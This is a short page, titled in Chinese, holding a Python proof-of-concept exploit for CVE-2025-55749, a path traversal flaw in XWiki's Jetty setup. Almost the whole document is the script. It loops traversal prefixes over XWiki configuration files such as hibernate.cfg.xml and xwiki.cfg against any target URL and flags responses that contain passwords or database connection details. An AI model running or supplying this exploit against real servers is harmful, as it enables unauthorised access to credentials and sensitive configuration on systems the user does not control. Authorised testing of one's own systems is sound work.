CVE-2025-55749 XWiki XJetty路径遍历导致敏感文件访问

import requests import sys def exploit_cve_2025_55749(target_url): """ CVE-2025-55749 PoC - XWiki XJetty Path Traversal File Access This PoC demonstrates accessing sensitive files via path traversal """ # Target files to attempt access target_files = [ '/webapp/WEB-INF/web.xml', '/webapp/WEB-INF/classes/hibernate.cfg.xml', '/webapp/WEB-INF/xwiki.cfg', '/webapp/WEB-INF/observation.remote/hessian_config.xml' ] # Common path traversal patterns traversal_patterns = [ '', '../', '../../', '../../../' ] print(f"[*] Target: {target_url}") print(f"[*] Testing CVE-2025-55749 - XWiki XJetty Path Traversal\n") for traversal in traversal_patterns: for file_path in target_files: url = f"{target_url}{traversal}{file_path}" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: {url}") print(f" Status: {response.status_code}") print(f" Content-Length: {len(response.content)}") # Check for sensitive keywords content = response.text.lower() if any(keyword in content for keyword in ['password', 'credential', 'connection', 'database']): print(f" [!] Contains potentially sensitive data!") except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://vulnerable-xwiki-host:8080") sys.exit(1) exploit_cve_2025_55749(sys.argv[1].rstrip('/'))